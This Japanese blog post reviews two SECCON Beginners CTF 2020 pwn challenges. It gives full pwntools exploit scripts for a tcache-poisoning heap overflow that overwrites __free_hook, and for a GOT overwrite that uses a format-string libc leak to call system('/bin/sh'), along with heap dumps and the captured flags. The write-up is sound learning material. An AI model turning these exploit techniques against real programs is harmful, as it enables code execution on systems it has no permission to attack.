好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON for Beginners CTF 2020 復習 [Pwn]

2020/5/23 ~ 5/24 で開催された、SECCON Beginners CTF 2020 の Pwn 分野の復習メモです。
競技時間中に解いた問題のwrite-upはこちら。

kusuwada.hatenablog.com

他分野の復習記事はこちら

kusuwada.hatenablog.com

本当は全部見ておきたかったけど、サーバー稼働期間も終わってしまうし、ちゃんと基礎からやらんとな、という気持ちになったので2問だけ。

[Pwn] Beginner's Heap [Easy]

Let's learn how to abuse heap overflow!

nc bh.quals.beginners.seccon.jp 9002

配布物はなし!ソースがないheapがeasyだなんて…。
とにかくつないでみます。

$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fd28756f8e8
 <win>: 0x55838f653465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 

4. Describe heap5. Describe tcacheで状態が見れる上に、6. Currently available hintでいつでもヒントがもらえちゃう…。凄い問題だ…!

とはいえ、中に書くものは自分で用意しないといけない。ちょっと触ってみたものの、時間がかかりそうだと後回しにした結果、競技終了。

復習

Heap問は割と最近やったところだし、tcache絡みの問題もやっていたので、自力でしばらくがんばります。自力と行っても親切なヒントが出ているんだけども。

初期状態のheapとtcacheはこんな感じ。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x56066a6d5330
 [+] B = (nil)

                   +--------------------+
0x000056066a6d5320 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5328 | 0x0000000000000021 |
                   +--------------------+
0x000056066a6d5330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000056066a6d5338 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5340 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5348 | 0x0000000000020cc1 |
                   +--------------------+
0x000056066a6d5350 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5358 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5360 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5368 | 0x0000000000000000 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

hint: Tcache manages freed chunks in linked lists by size.

Every list can keep up to 7 chunks.

A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.

Let's check what happens when you overwrite fd by Heap Overflow.

picoCTF 2019 の Ghost_Diary 問題でやったことが全部出てきている気がする。ここにまとめといたやつだ

Aはアドレスが固定で値のみ書き換えられます。ただし、Aはもともと問題文とheapの状態からサイズは0x18ですが、1の機能で0x80まで書き換えできるようです…!これはきっとHeapOverflow。Bはサイズが固定(0x18)で好きな値を入れてalloc,freeできる、という条件。

最初のヒントより、HeapOverflowをしてfdポインタを上書きし、何が起こるか見てみます。
以下、コードは下記のコードをベースに継ぎ足して書いています。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = "bh.quals.beginners.seccon.jp"
port = 9002

def writeA(data):
    log.info('write A')
    r.sendline(b'1')
    r.sendline(data)
    r.recvuntil(b'> ')
    
def allocB(data):
    log.info('alloc B')
    r.sendline(b'2')
    r.sendline(data)
    r.recvuntil(b'> ')
    
def freeB():
    log.info('free B')
    r.sendline(b'3')
    r.recvuntil(b'> ')

def describe_heap():
    log.info('descrive heap')
    r.sendline(b'4')
    print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-').decode())
    r.recvuntil(b'> ')
    
def describe_tcache():
    log.info('descrive tcache')
    r.sendline(b'5')
    print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=').decode())
    r.recvuntil(b'> ')

def hint():
    log.info('hint')
    r.sendline(b'6')
    print(r.recvuntil(b'\n\n').decode())
    r.recvuntil(b'> ')
    
### main ###
r = remote(host, port)
r.recvuntil(b'<__free_hook>: ')
free_hook_addr = int(r.recvuntil(b'\n').strip().decode(), 16)
r.recvuntil(b'<win>: ')
win_addr = int(r.recvuntil(b'\n').strip().decode(), 16)
r.recv()

print(free_hook_addr)
print(win_addr)

まず、BB(=0x42) * 0x10を詰めてallc。

data = b'B' * 0x10
B = allocB(data)
describe_heap()

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5561868fd330
 [+] B = 0x5561868fd350

                   +--------------------+
0x00005561868fd320 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd328 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x00005561868fd338 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd340 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd348 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd350 | 0x4242424242424242 | <-- B
                   +--------------------+
0x00005561868fd358 | 0x4242424242424242 |
                   +--------------------+
0x00005561868fd360 | 0x000000000000000a |
                   +--------------------+
0x00005561868fd368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

このあと、Bをfreeします。

freeB()
describe_heap()
describe_tcache()

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5561868fd330
 [+] B = (nil)

                   +--------------------+
0x00005561868fd320 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd328 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x00005561868fd338 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd340 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd348 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd350 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd358 | 0x4242424242424242 |
                   +--------------------+
0x00005561868fd360 | 0x000000000000000a |
                   +--------------------+
0x00005561868fd368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00005561868fd350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Bのいたアドレスがtcacheに追加され、heap内のBの先頭だったところが0になります。これはtcacheの先頭に積まれたため、fbが初期値だから。

次に、AにA(=0x41) * 0x78を詰めて書き込んでみます。

data = b'A' * 0x78
writeA(data)

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5561868fd330
 [+] B = (nil)

                   +--------------------+
0x00005561868fd320 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd328 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x00005561868fd338 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd340 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd348 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd350 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd358 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd360 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd368 | 0x4141414141414141 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00005561868fd350(rw-) ]
        ||
        \/
[ 0x4141414141414141(---) ]
        ||
        \/
[       BROKEN LINK       ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

見ての通り、さっきfreeしたのBの領域までAで埋め尽くされました。更に、tcacheにあった元Bのアドレスのfwにあたる領域を0x41で埋めたため、tcacheに0x4141414141414141のアドレスがつまれました🙌

ここで再度hintを見てみると、文言が変わっています。

Good. The tcache link is corrupted!

Currently it's linked to 0x4141414141414141 but what if it's __free_hook...?

ということで、最初にもらった__free_hookのアドレスでfwを書き換えるよう、Aの中身を変更してみます。

data = b'A' * 0x8 * 4 + p64(free_hook_addr)
writeA(data)

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55d43618d330
 [+] B = (nil)

                   +--------------------+
0x000055d43618d320 | 0x0000000000000000 |
                   +--------------------+
0x000055d43618d328 | 0x0000000000000021 |
                   +--------------------+
0x000055d43618d330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x000055d43618d338 | 0x4141414141414141 |
                   +--------------------+
0x000055d43618d340 | 0x4141414141414141 |
                   +--------------------+
0x000055d43618d348 | 0x4141414141414141 |
                   +--------------------+
0x000055d43618d350 | 0x00007f13544b08e8 |
                   +--------------------+
0x000055d43618d358 | 0x424242424242420a |
                   +--------------------+
0x000055d43618d360 | 0x000000000000000a |
                   +--------------------+
0x000055d43618d368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000055d43618d350(rw-) ]
        ||
        \/
[ 0x00007f13544b08e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

やった!狙ったとおりになりました。またhintが変わっています。

It seems __free_hook is successfully linked to tcache!

But the chunk size is broken or too big maybe...?

そのとおり。サイズはノータッチでした。もとのBとおなじになるように、またAの中身を変えてみます。

data = b'A' * 0x8 * 3 + p64(0x21) + p64(free_hook_addr)
writeA(data)

heapはこう変わります。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55bd4f0c6330
 [+] B = (nil)

                   +--------------------+
0x000055bd4f0c6320 | 0x0000000000000000 |
                   +--------------------+
0x000055bd4f0c6328 | 0x0000000000000021 |
                   +--------------------+
0x000055bd4f0c6330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x000055bd4f0c6338 | 0x4141414141414141 |
                   +--------------------+
0x000055bd4f0c6340 | 0x4141414141414141 |
                   +--------------------+
0x000055bd4f0c6348 | 0x0000000000000021 |
                   +--------------------+
0x000055bd4f0c6350 | 0x00007f3ef72fa8e8 |
                   +--------------------+
0x000055bd4f0c6358 | 0x424242424242420a |
                   +--------------------+
0x000055bd4f0c6360 | 0x000000000000000a |
                   +--------------------+
0x000055bd4f0c6368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

hintもまた変わりました。

It seems __free_hook is successfully linked to tcache!

But you can't get __free_hook since you can only malloc/free B.

What if you change the chunk size to a value other than 0x21...?

__free_hookは、次にmallocかfreeが呼ばれたときにしか発動しません。そこで、サイズを先程は元のBと同じ0x21に指定しましたが、違うサイズにしてみることを提案されています。

tcacheのサイズに当てはまる、少し大きめのサイズ0x40を設定してみました。

data = b'A' * 0x8 * 3 + p64(0x40) + p64(free_hook_addr)
writeA(data)

hintはこうなりました

It seems __free_hook is successfully linked to tcache!

And the chunk size is properly forged!

chunk sizeを大きめに書き換えたことで、freedな領域のサイズがマージされています。

現在tcacheの中身は、B -> __free_hook になっています。__free_hookを先頭に持ってくるために、もう一度Bをmallock,freeしてみます。

data = b'B' * 0x10
B = allocB(data)
freeB()

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5584fa140330
 [+] B = (nil)

                   +--------------------+
0x00005584fa140320 | 0x0000000000000000 |
                   +--------------------+
0x00005584fa140328 | 0x0000000000000021 |
                   +--------------------+
0x00005584fa140330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x00005584fa140338 | 0x4141414141414141 |
                   +--------------------+
0x00005584fa140340 | 0x4141414141414141 |
                   +--------------------+
0x00005584fa140348 | 0x0000000000000040 |
                   +--------------------+
0x00005584fa140350 | 0x0000000000000000 |
                   +--------------------+
0x00005584fa140358 | 0x4242424242424242 |
                   +--------------------+
0x00005584fa140360 | 0x000000000000000a |
                   +--------------------+
0x00005584fa140368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00007ff2bf0158e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

hintはこうなりました

It seems __free_hook is successfully linked to tcache!

The first link of tcache is __free_hook!

Also B is empty! You know what to do, right?

Yeah! もう一度mallocすると__free_hookの領域が取れます。ここで、free_hookの第一引数にwin関数をセットすると、次にfreeが呼び出されたときにこれが発動、win関数がコールされるはず!

data = p64(win_addr)
B = allocB(data)

合っているか心配なのでここでもhintも見ておきます。

It seems you did everything right!

free is now equivalent to win

(๑•̀ㅂ•́)و✧
あとはfreeを呼ぶだけ!

log.info('free B')
r.sendline(b'3')
print(r.recv())
print(r.recv())

実行結果

b'Congratulations!'
b'\nctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}\n'

\(ˊᗜˋ)/
これは!競技中に!ちゃんと時間をとってやるべきだった!!!!!!

最後に全体スクリプトを載せるだけ載せておこう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = "bh.quals.beginners.seccon.jp"
port = 9002

def writeA(data):
    log.info('write A')
    r.sendline(b'1')
    r.sendline(data)
    r.recvuntil(b'> ')
    
def allocB(data):
    log.info('alloc B')
    r.sendline(b'2')
    r.sendline(data)
    r.recvuntil(b'> ')
    
def freeB():
    log.info('free B')
    r.sendline(b'3')
    r.recvuntil(b'> ')

def describe_heap():
    log.info('descrive heap')
    r.sendline(b'4')
    print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-').decode())
    r.recvuntil(b'> ')
    
def describe_tcache():
    log.info('descrive tcache')
    r.sendline(b'5')
    print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=').decode())
    r.recvuntil(b'> ')

def hint():
    log.info('hint')
    r.sendline(b'6')
    print(r.recvuntil(b'\n\n').decode())
    r.recvuntil(b'> ')
    
### main ###
r = remote(host, port)
r.recvuntil(b'<__free_hook>: ')
free_hook_addr = int(r.recvuntil(b'\n').strip().decode(), 16)
r.recvuntil(b'<win>: ')
win_addr = int(r.recvuntil(b'\n').strip().decode(), 16)
r.recv()

# tcacheにBの領域を積む
data = b'B' * 0x10
B = allocB(data)
freeB()

# Heap Overflow で freeされたBを上書き
data = b'A' * 0x8 * 3 + p64(0x40) + p64(free_hook_addr)
writeA(data)

# tcache 消費
data = b'B' * 0x10
B = allocB(data)
freeB()

# __free_hookにwin関数を仕込む
data = p64(win_addr)
B = allocB(data)

# free!
log.info('free B')
r.sendline(b'3')
print(r.recv())
print(r.recv())

[Pwn] Elementary Stack [Easy]

Do you really understand stack?

nc es.quals.beginners.seccon.jp 9003

このさきのPwn問題は、競技期間中開いてすらなかった!

復習

実行ファイルchalllibc-2.27.somain.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define X_NUMBER 8

__attribute__((constructor))
void setup(void) {
  setbuf(stdout, NULL);
  alarm(30);
}

__attribute__((noreturn))
void fatal(const char *msg) {
  printf("[FATAL] %s\n", msg);
  exit(0);
}

long readlong(const char *msg, char *buf, int size) {
  printf("%s", msg);

  if (read(0, buf, size) <= 0)
    fatal("I/O error");
  buf[size - 1] = 0;

  return atol(buf);
}

int main(void) {
  int i;
  long v;
  char *buffer;
  unsigned long x[X_NUMBER];

  if ((buffer = malloc(0x20)) == NULL)
    fatal("Memory error");

  while(1) {
    i = (int)readlong("index: ", buffer, 0x20);
    v = readlong("value: ", buffer, 0x20);

    printf("x[%d] = %ld\n", i, v);
    x[i] = v;
  }
  return 0;
}

最初に0x20サイズの領域をbufferに確保し、配列 x[]の配列にユーザー入力の値を表示・格納していくシンプルなプログラム。配列xは、最初にx[8]とサイズが決まっています。flagについての記載はないので、shellを取ってflag.txt的なものを表示させる系に違いない。
ちなみに、constructorで30秒アラートを設定されているので、30秒以内に実行する必要があります。

今回はhintなしなので、自分で方針を考えなければいけない。ソースを読んで & 実行ファイルを動かしてみて、気になった点をメモ。

  1. x[index]のindexには8を超える値や負の値も入れられる
  2. main関数のreturnは、while(1)を抜ける条件がないので呼ばれない(returnアドレスを書き換えても無駄)
  3. readlong関数のreturn atol(buf)は、atolsystemに書き換えられるとsystem(buf)みたいにsystemを任意の引数で呼び出せそう

配布されたchallは No PIE なので各関数のアドレスはわかるのだけど、サーバーで稼働中のlibcのsystemのアドレスがわからない。

ここまで考えたけど、攻撃が繋がらなかった。おとなしくwriteupを見ます。今回は下記の4つが見つかりました。ありがとうございます🙏

これらを読むと、

  • 1つ目の条件より、範囲外書き込みによってatolsystemに書き換えて呼び出す方法が考えられる
  • systemのアドレスがわからない。これは、atoi(atol)をprintfに向けてFormat String Bugを引き起こす

という作戦が想定解のようです。
2つめの方法は初めて見たので調べてみました。libcアドレスをリークする時に使える手法で、atoiatolなどのGOTをprintf,scanfなどに書き換えることで stack based FSB を発動させ、書き換え先の関数の libc address をリークするようです。

過去にもこれを使って説いたっぽいCTFのwriteupが出てきました。古いものだと2016年!

※ここからは、全くわからないなりに理解していった手順を書いていきます。かなり回りくどいです。

まず、*bufferの示す先をatol@gotに書き換えてみます。
radare2でlocal変数の配置を確認すると、

# r2 ./chall
[0x004005f0]> aaaa
(略)
[0x004005f0]> s main
[0x0040079e]> pdf
/ (fcn) main 138
|   main (int argc, char **argv, char **envp);
|           ; var int local_54h @ rbp-0x54
|           ; var int local_50h @ rbp-0x50
|           ; var int local_48h @ rbp-0x48
|           ; arg int arg_40h @ rbp+0x40
(略)

続きのコードを見る限り、

rbp-0x54: i
rbp-0x50: *buffer
rbp-0x48: v
rbp+0x40: x[]

になっているようです。このため、x[-2]に書き込むと、bufferの向き先を書き換えることができます。ここで向き先をGOT領域にすると、次回からのユーザー入力時にreadlong関数内で read(0, GOT領域, 0x20) となり、GOT領域を上書きできます。

code1

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'es.quals.beginners.seccon.jp'
port = 9003

e = ELF('./chall')
libc = ELF('./libc-2.27.so')

r = remote(host, port)

# *buffer の示す先を atol に書き換え: x[-2] = atol@got
r.recvuntil(b'index: ')
r.sendline(b'-2')
r.recvuntil(b'value: ')
r.sendline(str(e.got[b'atol']).encode())

ちなみに、main関数のx[i] = v;の時に書き換えが生じます。この時はまだreadlong関数内のreturn atol(buf)はそのままatolとして実行されるため、アドレスもatolの入力値の型に合わせてstrで送ります。

更に、atol@gotの先をprintf@pltに書き換えます。
具体的には、index入力時のreadlong()関数内、read(0, buf, size)で、atol@gotを指しているbufにユーザー入力でprintf@pltの値を入れてあげます。

code2

(上のcode1の続き)
# atol@got を printf@plt に書き換え
r.recvuntil(b'index: ')
r.sendline(p64(e.plt[b'printf']))
res = r.recvuntil(b'value: ')
print(res)

実行してみると、

b'\x90\x05@value: '

と表示されました。
value:だけが表示されるのが通常状態なので、何かが追加で出力されました。これは、atol@gotの向き先が意図通りprintf@pltに書き換わったため、readlong関数の最後、return atol(buf); のときに、printf(buf)が実行されたためです。
このときbufprintf@pltが入っているので、それがそのまま出てきました。

さて、次に FSB を発動させます。先程printf(buf)が用意できたので、出来るはず!
ひとまずFSBの詳細は後回し。b'%25$p'を送ると良いらしいのでそれで試していますが、b'%10$p'でも何でもOK。

code3

(code2の続き)
# FSB発動
r.sendline(b'%25$p')
res = r.recvuntil(b'index: ')
print(res)

これを実行すると、raise EOFErrorで落ちました。何が起きたのでしょう。
このとき、またreadlong関数のread(0, buf, size)で、atol@gotを指しているbufb'%25$p'を入れてしまっています…。これではatolのかわりにprintfが呼ばれなくなってしまいます。
試しに、

code4

(code2の続き)
# お試しにもう一度printfしてみる
r.sendline(p64(e.plt[b'printf']))
res = r.recvuntil(b'index: ')
print(res)

としてみると、

b'\x90\x05@x[3] = 3\nindex: '

と表示されました。先ほどと同じ出力です。しかしこのままでは、atol@gotprintf@pltに向き変えたときしかprintfが発動しないので、printfは一生自分のアドレスを表示することしかできません…。

そこで、GOT領域のatolを書き換えるのではなく、0x8前のアドレスを書き換えることで、atol@gotprintf@pltに向けつつ、bufを自由な値が入力できるようにするらしい。ほぉほぉほぉ!

ちなみに、下記の様にしてGOT領域の関数とアドレスを一覧することができます。(もっといい方法もあるかも)

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

e = ELF('./chall')

for name,address in e.got.items():
    print(name.decode() + ': ' + hex(address))

実行結果

$ python test.py
setbuf: 0x601018
printf: 0x601020
alarm: 0x601028
read: 0x601030
malloc: 0x601038
atol: 0x601040
exit: 0x601048

ということで、atol@gotの一つ前(-0x8)は、malloc@gotであることがわかります。この攻撃を成功させるためには、mallocが攻撃ループ中に呼ばれないことが条件になりますが(書き潰してしまうので)、今回はmallocは最初に呼ばれているだけなので条件を満たしています🙌

やりたいのはこんな感じ。

             GOT area
            +--------+
            |   ...  |
            +--------+
*buffer ->  | malloc | -> user input で上書きされる buf
            +--------+
            |  atol  | -> printf@plt
            +--------+
            |   ...  |
            +--------+

この状態でatolが呼ばれると、printf(buf)(bufの中身はmalloc@gotに格納される)が実現できそう。

ということで、最初からやり直し。

code5

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'es.quals.beginners.seccon.jp'
port = 9003

e = ELF('./chall')
libc = ELF('./libc-2.27.so')

r = remote(host, port)

# *buffer の示す先を atol@got-0x8 = malloc@got に書き換え
r.recvuntil(b'index: ')
r.sendline(b'-2')
r.recvuntil(b'value: ')
r.sendline(str(e.got[b'malloc']).encode())

# atol@got を printf@plt に書き換え
r.recvuntil(b'index: ')
r.sendline(b'a'*8 + p64(e.plt[b'printf']))  # malloc -> 'aaaaaaaa', atol -> printf
res = r.recvuntil(b'value: ')
print(res)

# FSB発動
r.sendline(b'%25$p')
res = r.recvuntil(b'index: ')
print(res)

実行結果

b'aaaaaaaa\x90\x05@value: '
b'0x7fd1a3949b97\naa\x90\x05@x[11] = 20\nindex: '

やったー!アドレスっぽいものが取れています!

さて、ここでちょっと遡って、Format String Attack の index が 25 というのはどうやって導くのか考えます。

FSBの基本は今回の出題者でもあるptr-yudaiさんのブログ記事がとてもわかり易い。

Format String Exploitを試してみる - CTFするぞ

のですが、ここや他の方のwriteupを見たり、他のCTFのwriteupやgdb,gdb-pedaの使い方を見てみたのですが、この先の解法がいまいちわからず。

どうやら、gdb(gdb-peda)なんかを用いて、プログラム実行中のstackの状態を見てみると、b97が末尾に現れるところがあるので、このアドレスを確認してみると、<__libc_start_main+231>であることがわかるらしい。 このb97というのがどこから来たのか、そしてgdbの使い方がまだよくわかってないのか、プログラム実行中、printf関数実行中などにbreakpoint仕込んでもこのb97で終わるメモリが見つからない。ここらへんは、ちゃんと基礎からやらないとわからないかなぁ…。atol@gotをprintf@pltに書き換えた後に見ないといけないのかな。
gdb起動して、run中のinputにpackした値を入れたいんだけど、そのやり方がわからなかった。(今回でいうとb'a'*8 + p64(e.plt[b'printf']))。これができたら、gdb上でatol->printfの書き換え、printfの実行の状態に持っていけるので、そこでメモリを見たらこいつがいたのかしら…。

なにはともあれ、b97がわかったとして、今度はindex 25がどうやって導かれるのか。

これは、上記で困っていた「gdb上でprintfへの書き換え」ができていれば、その時のstackの状態を見れば良さそう。もしくは、先程のb97がわかっている、かつ libcアドレスはローテートされても下桁は変わらないので、これが出てくるまで %n$pnをインクリメントしながら探していけば見つかる。

大きな疑問が残ったままですが、このb97がわかったとして、libc_baseを求めるのは、上記で探し当てたb97が末尾に出てくるサーバー側のlibcアドレスから、__libc_start_main + 231を引いたものになります。

ここまでくれば、後はatolをprintfに書き換えたときと同様、今度はatolをsystemに向けてあげればshellが取れる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'es.quals.beginners.seccon.jp'
port = 9003

e = ELF('./chall')
libc = ELF('./libc-2.27.so')

r = remote(host, port)
#r = process('./chall')

# *buffer の示す先を atol@got-0x8 = malloc@got に書き換え
r.recvuntil(b'index: ')
r.sendline(b'-2')
r.recvuntil(b'value: ')
r.sendline(str(e.got[b'malloc']).encode())

# atol@got を printf@plt に書き換え
r.recvuntil(b'index: ')
r.sendline(b'a'*8 + p64(e.plt[b'printf']))
res = r.recvuntil(b'value: ')
print(res)

# FSB発動
r.sendline(b'%25$p')
res = r.recvuntil(b'index: ')
print(res)

# libc_base計算
libc_addr = int(res[:14],16)
libc_base = libc_addr - (libc.symbols[b'__libc_start_main'] + 231)
print('libc_base: ' + hex(libc_base))

# atol を system で上書き
r.sendline(b'/bin/sh\0' + p64(libc_base + libc.symbols[b'system']))

r.interactive()

実行結果

$ python solve.py 
[*] '/SECCON Beginners CTF 2020/pwn/Elementary Stack/elementary_stack/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/SECCON Beginners CTF 2020/pwn/Elementary Stack/elementary_stack/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to es.quals.beginners.seccon.jp on port 9003: Done
b'aaaaaaaa\x90\x05@value: '
b'0x7f906b2fdb97\naa\x90\x05@x[11] = 20\nindex: '
libc_base: 0x7f906b2dc000
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}

ちなみに、もう一つの過密さんのwriteupでは、途中まで一緒でしたがatol->printfに書き換えの際についでにprintfの引数に%25$pを付けて1ターン省略していました。

(略)
# atol@got を printf@plt に書き換え, FSB発動
r.recvuntil(b'index: ')
r.sendline(b'%25$p,xx' + p64(e.plt[b'printf']))
res = r.recvuntil(b'value: ')
(略)

こちらの攻撃コードでも、同様にflagが取れました。

b97の謎が残ってて気持ち悪いけど、時間を溶かしすぎたのでひとまず区切り。ちゃんとpwnに入門せねば。